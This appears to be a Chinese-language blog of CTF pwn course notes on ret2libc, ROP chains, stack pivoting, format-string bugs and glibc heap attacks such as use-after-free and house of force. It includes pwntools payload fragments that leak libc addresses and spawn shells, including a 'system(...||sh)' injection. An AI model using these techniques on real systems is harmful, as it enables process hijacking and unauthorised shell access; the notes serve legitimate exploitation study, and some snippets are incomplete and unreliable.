笔记

视频5

开头,复习前面所有视频的知识!!!
Alt text

内存保护措施

ASLR、PIE、NX、Canay、RELRO

NX:栈不可执行

一、ASLR

echo 2 > /proc/sys/kernel/randomize_va_space

0:没有随机化,即关闭ASLR

1:保留的随机化,即共享库、栈、mmap()以及VSDO将被随机化

2:完全的随机化,在1的基础上,通过brk()分配的内存空间也将随机化

二、Canay和PIE

备注:

1、gcc编译Canay:

----gcc -o test test.c // 默认情况下,不开启Canary保护

----gcc -fno-stack-protector -o test test.c //禁用栈保护

----gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码

----gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

2、gcc编译关闭PIE:

gcc -no-pie

3、调试显示源码

gcc -g
可以方便gdb调试显示源码

4、Canay:

5、PIE:

PIE技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

三、ret2libc1解题思路

通用结构:

system函数代码会先调用push ebq,最后ret回exit

动态链接思路:

重点:在ida中,通过plt表拿到system地址

payload构造如下:

strings ret2libc1 | grep /bin/sh

elf = ELF("./ret2lib1")

system_plt = elf.plt["system"]

bin_sh = next(elf.search(b"/bin/sh"))

视频6

shellcode网址

一、ret2libc2解题思路:

方法一:

1、对比ret2libc1缺少"/bin/sh"参数
2、发现bss区存在buf2
3、ROP到gets函数,输入/bin/sh到buf2
4、再继续ROP程序执行流到system@plt

方法二(pop_ret版)

1、ROPgadget --binary ret2libc2 --only "pop|ret"
2、

二、ret2libc3解题思路:

注释:

 1、fflush(stdout)(表示一次性打印标准输出)
 2、read(0, &buf, 0xAu)(0表示stdin标准输入,u表示unsigned)
 3、unsigned int表示0——2^32,有符号表示-2^31——2^31,最高位0和1表示正、负

分析思路:

 1、找漏洞(运行ret2libc3)输入超长数据看是否崩溃触发栈溢出漏洞
 2、搞清楚main函数数据分布
3、发现read(0, &src, 0x100u)不会发生数据溢出
4、调用print_message()函数,观察栈情况
5、把0x100拷贝到0x38中,栈溢出漏洞

攻击方法一:

 1、发现没有后门函数,栈不可执行,Rop代码片段不足,plt没有system函数,没有/bin/sh
 2、只能找system真实地址,找到libc里的真正的system地址
 3、这题可以通过See_something()函数,获得system的真实地址
 4、需要使用GOT表
 
 1、用gdb把断点打到read处,b *地址
 2、输入got,观察got表
 3、把puts函数对应got表的起始地址(转换成10进制)传进去
 4、next执行到see_something()函数,泄露出got表中puts函数的libc地址
 5、利用libc-2.23.so找到puts函数和system函数的相对位置
from pwn import *

elf = ELF("./ret2libc3")
libc = ELF("./libc-2.23.so")
io = remote("106.xx.xxx.xxx", 8080)
io.recv()
#得到puts表在服务器libc上的真实地址
io.send(str(elf.got['puts']))
io.recv()
#得到libc中puts函数与system函数的偏移
libc.symbols["system"] - libc.symbols["puts"]
6、打断点b Print_message
7、通过栈溢出strcpy函数,查看栈stack 24
8、构造ROP链

io.sendlineafter(b' :', str(elf.got["puts"]))

io.recvuntil(b' : ')

攻击方法二:

one_gadget详见代码

视频7、8

开头展示ret2libc3的答案

后续学习格式化字符串、堆利用

一、练习题WriteUp:

一、pwn0(ret2text)
    1、64位,栈溢出漏洞
    2、溢出到后门函数ret2text
    3、需要填充8字节(64位)的垃圾数据
    4、(不知为何,pwn0题目中systemcall地址需要+1才能打通本地)
    5、(原因:x64下在调用system前要加ret)

二、pwn1(ret2shellcode)
    1、(shellcraft.sh()#生成32位shellcode汇编码)#生成机械码
    2、io.recvuntil(b"this:")
    3、转换成int类型数据:buf_addr = int(io.recvuntil(b"?\n", drop=True), 16)
    4、\x90表示loop:shellcode.ljust(136, b'\x90')

三、pwn2(ret2libc1)
    1、要用到system的PLT表项
    2、gdb动态调试的时候,使用set follow-fork-mode parent
    指令:info b(查询断点信息)、d 1(删除1号断点)、b 函数名or*地址
    3、payload=flat(cyclic(140), system_plt, b'BBBB', bin_sh)

四、pwn2_x64(ret2libc1)
    1、与上题类似,但是需要注意x64下!!应该把参数放入寄存器中!
    2、栈中32位传参方式!
    3、栈中64位传参方式!
    4、思路:通过gadget片段pop_rdi_ret -> /bin/sh
    5、payload = cyclic(128) + b'A'*8 + p64(pop_rdi_ret)
                 + p64(bin_sh) + p64(ret)+p64(system_plt)

1、前面题目pwn0和pwn2_x64调用system前要加p64(ret)

2、ldd level3 -> file 路径,会显示level3用到的动态链接库地址

3、x64小技巧:通过ret2_csu_int来部署64位的寄存器的变量

 五、pwn3(加强版ret2lib3)
    1、难点:需要自己构造ROP链来泄露内存内容!!
    2、栈溢出漏洞,没有system,没有/bin/sh
    3、之前的ret2libc3有一个函数泄露了libc的函数地址
        本题需要构造rop来泄露
    4、如何写入sh:
       string level3 | grep sh(要求sh后面要有截断符)
       可以next(elf.search(b'sh')) or next(libc.search(b'sh'))
       利用ROp链到gets函数,在bss区将/bin/sh写入缓冲区
方法:
    1、通过Rop劫持程序执行流到Wirte@plt的地址,同时把write@got里
    的内容打印出来,就可以知道write函数在内存空间中的真实地址了!
    2、Base = write函数在内存空间中的真实地址 - 他在libc中的地址
    3、Base加上system的偏移和/bin/sh的偏移,得到真实地址!
代码:
    1、构造payload1,返回到vulnerable函数进行第二次溢出!
    payload1 = flat(cyclic(140), write_plt, vulnerable_addr, 
    1, write_got, 4) #后三个是参数,显示write_got的4个字节
    
    2、p32的逆运算u32
    p32(1234) = b'\xd2\x04\x00\x00'
    u32(b'\xd2\x04\x00\x00') = 1234
    3、得到write@got的真实地址后,得到libc_base
    4、通过libc_base偏移获得system和/bin/sh的真实地址
    5、构造payload2,对函数造成栈溢出得到shell
    
    6、libc_base = write_addr - libc.symbols["write"]
       system_addr = libc_base + libc.symbols["system"]
       bin_sh = libc_base + next(libc.search(b'/bin/sh'))
       payload2 = flat(cyclic(140), system_addr, b'BBBB', bin_sh)

二、栈溢出小技巧(不走寻常路):

 一、smashes(Canary found且gdb找不到main函数)
    1、使用静态分析找main函数地址,手动设置断点(b *0x????)
    2、当数据溢出时,程序会先检查Canary是否和初始值相同
    若不同则触发__stack_chk_file,输出stack smashes并退出
    3、v4 = __readfsqword(0x28u)放置一个Canary
    4、

 二、栈迁移
    1、情况一:溢出距离较短,够不到ret addr
       情况二:虽然能覆盖到ret addr,但是溢出距离不够写ROP链
       情况三:如pwn3需要用2次Rop进行攻击
    2、解决方案:
       leave: mov esp ebp; pop ebp(把esp移到ebp,弹出pre_ebp到现在的ebp中)
       ret:将esp当前指向内容,弹入到eip寄存器中
    3、步骤:
       1、覆盖prev_ebp到vulner_ebp区域
       2、覆盖ret_addr到Gadget如:leave指令、mov esp,ebp
       3、后续学习-->格式化字符串漏洞和堆溢出漏洞 

三、练习题WriteUp:

 六、pwn3_X64(加强版ret2lib3)
    1、注意x64下,函数的参数应该放在寄存器中

Alt text

    2、------------->
    payload1 = cyclic(128+8) + p64(rdi_ret) + p64(1) + p64(rsi_r15_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vulnerable_addr)
    3、------------->
    payload2 = cyclic(128+8) + p64(rdi_ret) + p64(bin_sh) + p64(system_addr)

视频8末尾+视频9

一、格式化字符串漏洞:

%x是将无符号整数以十六进制形式输出,并且前面不加0x
%p把栈上的数据当作一个指针输出,输出16进制前面有0x
%s传入的仍然是地址,但是打印地址里对应存放的内容
%d打印有符号整数

%p是直接打印栈上的数据,%s是把栈上的数据作为地址解析,然后打印地址对应的数据
#include<stdio.h>
int main()
{
    int a = 1;
    int b = 2;
    int c = 3;
    printf("%d%d%d", a, b, c);
    printf("%3$d", a, b, c);
   return 0;
}

仔细观察下图结构:

%s用于泄露0x00402004地址对应的值(一般打印read@got表)

%n和%s的区别

%n和%s类似,也是把栈上的内容作为地址去解析
但是是往被解析的地址中写入内容,而不是读取内容
写入的内容:格式化字符串前方已经打印成功的字符的个数
%n写4个字节0x00000004,%hn写2个字节,%hhn写一个字节
#include<stdio.h>
int main()
{
    int a = 1;
    int b = 2;
    char c = 'a';
    printf("%10c", c);
   return 0;
}
输出10个字节,不足的部分用空格来补充(         a)
 用%n把目的地址改为4
 用%n把目的地址改为8

总结

  • 泄露栈内存
  • 泄露任意地址内存
  • 串改栈内存
  • 串改任意地址内存

(附加)

x64环境下,且修改的地方是%10$p,值修改成100

1、泄露rbp,然后通过栈关系加减,得到buf的地址
2、0xffff88888888 + %100c%10$hhn
   是错误的!!!2个误区!!!
   · 首先,由于前面输入了地址,所以应该是0xffff88888888 + %92c%10$hhn
   · 其次,由于64位有2位\x00\x00,所以其实后面格式化字符串参数被00截断了
   · 所以,应该前后调换位置,并且对齐字符串,必须是8的倍数,且修改为%12$n
3、正确的输入是:%100c%12$hhnaaaa + 0xffff88888888

读写任意地址内存(要求:存在printf函数,且第一个参数可以被控制)

二、格式化字符串例题一(fmtstr1):

一、攻击思路
    1、memset()开辟内存空间
    2、使用%n把参数x由3篡改为4
    3、gdb调试,切记要从printf的第一个参数开始
    4、注意:printf的第4个参数,则是格式化字符串的第3个参数
    5、如下图:printf的第12个参数,乃是格式化字符串的第11个参数
       所以格式化字符串应该为:0x????????%11$n即可!!
二、攻击方法
    1、利用%n将x的值改为4
    2、ida中可以看到x的地址
    3、payload = p32(x_addr) + b'%11$n'

三、格式化字符串例题二(64位_fmtstr2):

一、攻击思路
    1、v11 = __readfsqword(0x28u)开启Canary防护
    2、使用%s泄露flag,可以看到v10保存了真正的flag
    3、需要注意:x64架构下,前6个参数在寄存器中,第7个参数才在栈中
    4、解决方法:在gdb中调试时,可以输入%7$p%8$p%9$p找到参数地址
    5、如下图:printf的第10个参数,乃是格式化字符串的第9个参数
       所以格式化字符串应该为:%9$s即可!!
二、攻击方法
    1、由于v10保存了flag,所以真正的flag就存放在栈中
    2、利用gdb找到偏移位置
    3、payload = "%9$s"

四、堆(Heap)的初认识+例题三(fmtstr_uaf):

一、堆
    1、是虚拟内存空间中的一块连续的线性区域
    2、提供动态内存分配,用户随取随用,且允许程序申请大小未知的内存


二、堆管理器
    1、是动态链接库里实现的一段代码,用来管理堆的内存区域
    2、处于用户与操作系统之间,作为动态内存管理的中间人
三、堆管理器的三个关键词(arena、chunk、bin)

学习heap实验

CTFer祖师爷的秘制slide

国外师傅的堆总结笔记

1、arena

内存分配区,可以理解为堆管理器所持有的内存池

堆管理器与用户的内存交易发生于arena中
可以理解为堆管理器向操作系统批发来的有冗余的内存库存

2、chunk

用户申请内存的单位,也是堆管理器管理内存的基本单位
malloc()返回的指针指向一个chunk的数据区域   

在arena上,是直接malloc得到的内存区域的单位,返回的指针实际上指向的是中间位置,并且开辟的空间要比用户指定的空间要大

3、bin

管理arena中空闲chunk的结构
以数组的形式存在,数组元素为相应大小的chunk链表的链表头
存在于arena的malloc_state中

· unsorted bin
· fast bins
· small bins
· large bins
· (tcache)

一、malloc chunk

#include <stdio.h>
#include <stdlib.h>

int mian() {
    void* ptr = malloc(0x100);
    free(ptr);
}
其中:
size的低 3位应该都是0,因为分配的内存只能是8的倍数
比如malloc(31)但是实际上会分配32的内存
所以size的第三位改成了标志位!!!分别是 |A|M|P|

二、free chunk

small bin 和 unsorted bin (4个控制字段)

----------------------------------------------------->>>>>>>>>>>>

----------------------------------------------------->>>>>>>>>>>>

三、prev size的复用

写数据的时候,会从低地址往高 地址写!!!
所以ptr指针不能指在prev size所在位置
1、假设现在malloc(0x20)得到上面的chunk
2、现在free掉上面的chunk(数据不会删除,而是还到堆管理器中)
3、现在又malloc(0x28)(堆管理器会找有无可用大小的free chunk)
4、此时会把下一个chunk的prev size变成用户空间

· 因为prev size记录的是前一个free chunk的大小
· 由于前一个chunk是一个malloc chunk,所以prev size无用可以被复用

四、物理链表 和 逻辑链表

4.1 物理链表
    · 用来组织相邻chunk之间的关系
    · 若是发现邻居也是free chunk就会自动合并成一个新的free chunk。
    · 通过prev size和size字段把整个内存分配区串联起来。
4.2 逻辑链表
    · 用指针连起来,通过fd把同类的chunk连接起来,然后放进回收站里。
    · 目的是为了方便malloc chunk直接找到对应的chunk
    · malloc返回的地址符合后进先出(栈)

五、各种bins

1、unsorted bin

· bins数组从1开始
· 只有一项,保存的chunk大小是杂乱无章的
· 是一个双向链表fd和bk
· 其中,bk指向上一个chunk,fd指向下一个chunk
· malloc返回地址符合先进先出(队列)

2、small bins

Alt text

· 每一个bin对应串起来的chunk大小是固定的
· 记录的是具体的数

Alt text

3、large bins

· 每一个bin中记录的chunk的大小是不固定的
· 记录是一个范围

4、fast bins(具体图片在逻辑链表处)

Alt text

· 管理的空间,64位程下×2即可
· P位表示:上一个chunk是否正在被占用
· 避免了fast chunk与其他chunk合并,避免检查、合并和重新扩展空间等

5、tcache(视频11/1:41:00)

· 可以看作是一个super fastbin,速度很快
· 不安全,没有安全防护措施(libc-2.28加入了检查)

视频11

一、堆结构+arena+chunk(全局讲解)

· 视频11(00:19:30处)!!!

· 大于fast bin的chunk在申请的时候,如32位下大于64Bytes的chunk
先从unsorted bin里找,还没找到的话,
就会触发unsorted bin遍历,把该合并的chunk合并,该归类的归类,
归类完后,再到对应的small bins和large bins中找,
若还没找到,就只能从top chunk里划分了。

二、其余chunk

2.1

一、Top chunk
    · 就是堆管理器向操作系统要来的空间,除去使用的空间,剩余的就是 

二、last remainder chunk
    · 当用户malloc的时候,先在unsorted bin里面找,若找不到合适的chunk
    则触发unsorted的遍历,对chunk进行合并和分类,
    归类完后,再到对应的small bins和large bins里找,
    若还没找到,就只能从Top chunk里划分了。

    · 在上述寻找chunk的基础上,从unsorted bin头部向链表尾部遍历
    若找到unsortedbin freechunk 大于 用户malloc的空间,
    就会立马把free chunk分配给用户。

    · 这时候,多出来的部分就会被重新填入控制字段,
    重新列入unsorted bin中,这就是last remainder chunk

三、堆漏洞的讲解

3.1 UAF(Use After Free)释放重用攻击

how2heap/first_fit.c 实验!!!
一、原理
    · 可以看到,首先a=malloc(0x512)再b=malloc(0x256)
    · b=malloc(0x256)是因为,free a的时候防止与top chunk合并
    · 然后free a,随后马上c=malloc(0x500),
    · 由于free a,a会进入unsorted bin双向链表中,
    · c=malloc(0x500)的时候,会使用原先a的位置
    · 这时候就导致了指针a和指针c指向同一个地址
    · 这时候打印a指针,会显示this is c

二、gdb小技巧
        1、开启了PIE防护,在gdb中的应对
            b *$rebase(0x?????输入偏移地址)
        2、在pwntools脚本中开启动态调试
            在想调试的代码中,加入一行pause()
            打开gdb,输入 attch + 进程号

3.2 double free漏洞

how2heap/glibc_2.23/fastbin_dup_into_stack实验!!
一、原理
    · 首先malloc了3个很小的a、b、c,剩下的就是top chunk
    · 然后free a,因为a足够小,所以进入fast bin
    · 然后free b,因为大小相同,所以b也进入同一个fast bin中
    · 继续free a,由于指针a还在,所以导致a又在fastbin中被列入一次
    · 此时再malloc 3份内存,这时候第1个和第3个指针
    · 在不知情的情况下,都指向了a的内存空间
    · malloc b的作用是为了避开fastbin的double free检查

3.3 fastbin_dup_into_stack漏洞

how2heap/glibc_2.23/fastbin_dup_into_stack.c实验!!
一、原理
    · 在double free的前提下,malloc一个d
    · 此时d指针指向的是a的区域,并且a还挂在fastbin中
    · 由于malloc chunk和fastbin chunk的差异
    · 导致d可以修改链表中a的fd字段,修改为栈上的地址
二、如何攻击
    · 由于fd指针指向的是,链表中下一个chunk的开头位置
    · 所以若想要修改var,需要指向栈上var_addr - 2个字长的位置

3.4 unsorted_bin_attack漏洞

how2heap/glibc_2.23/unsorted_bin_attack.c实验!!
一、原理
    · 可以把任意地址的值篡改成一个较大的值
    · 前提是我们可以控制bk的值

二、步骤
    · unsorted bin在libc的data地址,是一个0x7fff的大整数
    1、通过篡改原本存在的chunk的bk域,来欺骗unsorted bin
    2、让他以为还有下一块chunk,随后释放掉原来的最后一块chunk
    3、造成伪造的chunk,为了和unsorted bin连接
    4、把自己的fd和bk域写入了unsorted bin的地址
    5、造成下一块chunk的数据域写入了unsorted bin的地址
    6、若此时的数据域是栈上的遍历,那就可以把变量修改成一个很大的值
三、可能的目的
    · 修改变量成一个很大的值
    · 修改fastbins所能记录的上限,造成所有的free chunk都满足fastbin的范围
    · 从而更好地执行fastbin attack

四、house_of漏洞(是一整套攻击姿势,不单单是一个漏洞)

4.1 house_of_force

how2heap/glibc_2.23/house_of_force实验!!
一、原理
    · 本质上利用到整数溢出漏洞(针对malloc本身)
    · 前提是需要有堆溢出漏洞(针对Top chunk进行攻击)
    · 堆溢出漏洞时,chunk会向上溢出,覆盖top chunk的size
    · 然后将size修改为很大的数值,此时top chunk就会被标记成一个无限大的空间
    · 此时由于top chunk足够大,所以可以malloc任意大小的数字
    · 若malloc(0xfffff),此时就会从top chunk向上划分给用户
    · 若malloc(-0xffff),此时就会从top chunk向下划分给用户
    · 所以可以一直向上malloc,直到malloc到栈上,停止,第二次malloc才控制
    · 同时可以一直向下malloc,直到malloc到data段,停止,第二次malloc控制

视频12

一、例题一(fmtstr_uaf):

1.1 漏洞分析

    1、格式化字符串漏洞,在echo2处
    2、UAF(double free)漏洞,值得注意的是echo3中并没有漏洞
    虽然free(s)的时候,没有销毁指针,没有将指针设置为NULL!
    但是,由于echo3函数执行完之后,栈帧就会被销毁,所以s会被销毁!
    ------------------------------------------------------>>>
    真正的bug在cleanup()函数,里面调用了free(o)
    其中o是用来保存greetings和byebye两个函数的
    由于,调用了cleanup()函数,得到了一个o的freechunk
    但是,此时选择不退出程序,并且指针又没有被销毁!

1.2 攻击思路

1、目的:把刚free掉的o的chunk重新拿回来,同时向其中写入数据
2、o的内存是0x28,而echo3()中s=malloc(0x20),所以此时s和o指向同一块区域
3、接下来通过s指针,写入想要的地址即可!

4、向栈上写入shellcode,控制程序执行流返回到那里
5、劫持程序控制流,用use_after_free漏洞!!
6、格式化字符串漏洞,用来泄露栈上的地址!!

1.3 攻击方法

1、func在bss段,o在堆内存中
2、把shellcode写入v7(str_1)、v8(str_2)、v9(str_3)这24个字节中
3、进入echo2(),通过格式化字符串漏洞,泄露echo3栈帧中的pre_rbp的值
4、然后通过ida反汇编知道,main函数中v7与rbp相差0x20h
5、从而的到栈上v7的真实地址
6、接下来按4退出,程序会free掉o,此时o会进入fast bin
7、选择n,继续执行,选择3,进入echo3()触发s=malloc(0x20)
8、由于0x28>0x20,所以此时s会直接分配到o的空间
9、调用echo3的时候,会通过(*(o + 3))(o);方式调用greeting
10、所以修*(o + 3)为shellcode地址,以此来达到攻击目的!!

二、例题二 hacknote(堆模板题、更经典的uaf):

2.1 题目分析

小技巧:
1、首先看到一个manu,可以add、delete、print流水线,大概率是堆题!(模板化)
2、(题目去除了符号表,函数命名一头雾水),在ida中对函数名按"n"进行重命名
   除此之外,"\"可以去掉冗余信息,"r"可以显示ASCII码对应的字符串,"/"注释

2.2 函数分析add()

1、v5存放的是canary,然后计数add不能超过5个
2、ptr数组用来存放,if找到一项是空的,则malloc(8u),返回一个指针
3、然后把自己的头地址,写入并执行了一个self_puts
4、用户输入一个size,然后创建一个v0保存的是chunk(返回)的地址
5、然后在v0[1]的位置,也就是chunk后面的4字节
   又执行了一次malloc,并且把malloc的返回地址存放在了这个chunk里
6、最后往size里面写入size长度的数据,并且note_count+1

2.3 函数分析delete()

1、由下至上,先free size 再free上面的chunk
free(*(ptr[v1] + 1));
free(ptr[v1]);
!!!这也是漏洞所在,只释放了内存,但是没有销毁指针

2.4 攻击方法

目的:创造两个指针指向同一块chunk,来实现uaf攻击

方法:
1、malloc两次大小为16字节的note,每malloc一个note实际上是malloc了2次
   一个用来保管控制信息,另一个用来保管note的内容
add_note(b"16",b"aaaaa")
add_note(b"16",b"aaaaa")
2、此时把他们2个都delete掉
3、他们会进入fastbins中,大小相同的会放在一起
4、此时故意malloc一个8字节的chunk,并且
5、此时代码会在索引2处会生成 2 个新的8字节chunk
6、系统会从fastbin1中获得chunk,并遵循后进先出原则(栈)
7、由于self_put函数会打印下一块存放的内容,所以构造payload的时候
8、第一个数据就写入self_puts函数地址,第二个数据写入puts@GOT表
9、接着print index 0,让程序调用self_puts打印puts@GOT
10、成功泄露出puts函数地址,通过libc得到system函数地址

11、接着delete 2,然后重新new写入,system_addr 和 "||sh"
    原因:
** 仔细看print函数
  if ( ptr[v1] )
    (*ptr[v1])(ptr[v1]);
此时调用的应该是system(*0)
应该是system("0x888888||sh")
即system_addr("(system_addr)||sh")
如果第一个命令实行失败,||或命令则会执行第二条
posted @ 2023-12-07 18:04  xmh666  阅读(76)  评论(0编辑  收藏  举报